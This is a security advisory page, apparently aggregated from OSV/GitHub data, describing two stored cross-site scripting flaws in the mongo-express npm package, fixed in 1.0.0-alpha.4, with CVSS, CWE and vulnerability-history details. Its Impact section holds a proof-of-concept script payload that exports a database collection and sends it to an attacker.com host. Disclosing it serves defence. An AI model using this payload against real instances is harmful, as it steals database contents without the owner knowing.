Cross-site scripting
Two kinds of XSS were found:
- As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.
- Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.
Impact
As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:
{"someField": "long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res => await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>" }This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible.
Patches
Upgrade to v1.0.0-alpha.4
For more information
If you have any questions or comments about this advisory:
- Open an issue in mongo-express
- Email me at jafar.akhoondali@gmail.com
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | mongo-express | < 1.0.0-alpha.4 | 1.0.0-alpha.4 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N- Weakness (CWE)
CWE-79- Platform
- npm
- Package
mongo-express- Disclosed
- 28.06.2021
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-7p8h-86p5-wv3p - CC BY 4.0
Vulnerability history: mongo-express
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 4
- First → latest
- 12.2019 03.2024
- Without a fix
- 2
- Exploited in attacks
- 1
Severity breakdown
- Critical 1
- High 1
- Medium 2
Disclosures per year
- 2019: 1
- 2020: 0
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 1
- 2025: 0
- 2026: 0
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